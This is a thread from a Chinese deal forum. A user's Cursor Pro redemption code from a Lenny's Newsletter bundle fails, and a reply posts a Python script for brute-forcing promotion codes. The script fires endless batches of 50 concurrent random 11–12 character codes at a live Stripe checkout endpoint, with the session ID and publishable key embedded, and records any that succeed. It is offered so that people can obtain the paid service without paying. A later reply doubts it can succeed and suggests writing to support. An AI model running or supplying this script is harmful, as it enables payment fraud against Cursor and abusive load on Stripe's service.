返回列表 发布新帖
查看: 96|回复: 2

lenny bundle的Cursor Pro撞库问题

发表于 前天 00:29 来自手机 | 查看全部 |阅读模式

立刻注册账号,享受更清爽的界面!

您需要 登录 才可以下载或查看,没有账号?注册

×
激动的花100🔪买了lenny的捆绑包,拿到了cursor码
1000023905.jpg
点击兑换跳转。提示Invalid Referral Code
This referral code is invalid.
Create a Cursor account to get started.
1000023906.png
直接输入兑换码兑换
1000023907.png
该促销码无效。

试过新建账号。也试过与 Lenny’s Newsletter同一账号删号注册兑换。皆提示上述信息。

我寻思着数字和字母有十几位,这种情况我也遇到了,我的解决方法是直接从这个页面跳转就到付款页面了。结果发现cursor可以靠撞库获得Pro,附脚本
  1. import requests
  2. import random
  3. import string
  4. from concurrent.futures import ThreadPoolExecutor

  5. # 随机生成 promotion_code


  6. def generate_code():
  7.     length = random.choice([11, 12])  # 随机选11或12
  8.     return ''.join(random.choices(string.ascii_uppercase + string.digits, k=length))


  9. # 发送请求函数


  10. def func(promotion_code):
  11.     url = "https://api.stripe.com/v1/payment_pages/cs_live_b1f7WcJfmREh55To7MqhAWYipkIQ67LXYogtgG2OwopO2RfaBzgFuIZzth"
  12.     payload = {
  13.         "eid": "NA",
  14.         "promotion_code": promotion_code,
  15.         "key": "pk_live_51Lb5LzB4TZWxSIGU4LcaRyvT5xW1Iw8Z3E1iOpuCblBLoLhoq3xQnt2U6sR0kfr6wwTdLdQCykfzNnw778PaO7n200tsRmVe72"
  16.     }
  17.     headers = {
  18.         'accept': 'application/json',
  19.         'accept-language': 'zh-CN,zh;q=0.9',
  20.         'content-type': 'application/x-www-form-urlencoded',
  21.         'dnt': '1',
  22.         'origin': 'https://checkout.stripe.com',
  23.         'priority': 'u=1, i',
  24.         'referer': 'https://checkout.stripe.com/',
  25.         'sec-ch-ua': '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
  26.         'sec-ch-ua-mobile': '?0',
  27.         'sec-ch-ua-platform': '"Windows"',
  28.         'sec-fetch-dest': 'empty',
  29.         'sec-fetch-mode': 'cors',
  30.         'sec-fetch-site': 'same-site',
  31.         'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
  32.     }

  33.     try:
  34.         response = requests.post(url, headers=headers,
  35.                                  data=payload, timeout=10)
  36.         status = response.status_code
  37.         print(promotion_code, response.json(), status)
  38.         if status == 200:
  39.             with open("success.txt", "a", encoding="utf-8") as f:
  40.                 f.write(f"{promotion_code} -> {response.text}\n")
  41.         else:
  42.             with open("fail.txt", "a", encoding="utf-8") as f:
  43.                 f.write(f"{promotion_code} -> Status {status}\n")
  44.     except Exception as e:
  45.         with open("fail.txt", "a", encoding="utf-8") as f:
  46.             f.write(f"{promotion_code} -> Exception: {str(e)}\n")

  47. # 主函数 - 并发请求


  48. def main():
  49.     codes = [generate_code() for _ in range(50)]
  50.     with ThreadPoolExecutor(max_workers=50) as executor:
  51.         executor.map(func, codes)


  52. if __name__ == "__main__":
  53.     while True:
  54.         main()
复制代码

祝好运!
爱生活,爱奶昔~
发表于 前天 00:30 来自手机 | 查看全部
感觉不太行, 11位数有131,621,703,842,267,100,000种排列,还要考虑网站的限制,跑出来的概率比买彩票还低!和楼主一样,我第一次兑换成功,后面发现教育优惠,再次兑换就怎么都无法兑换了,建议和我一样联系 hi@cursor.sh
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

 楼主| 发表于 前天 00:53 来自手机 | 查看全部
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

  • 关注公众号
  • 添加微信客服
© 2025 Naixi Networks 沪ICP备13020230号-1|沪公网安备 31010702007642号
关灯 在本版发帖
扫一扫添加微信客服
返回顶部
快速回复 返回顶部 返回列表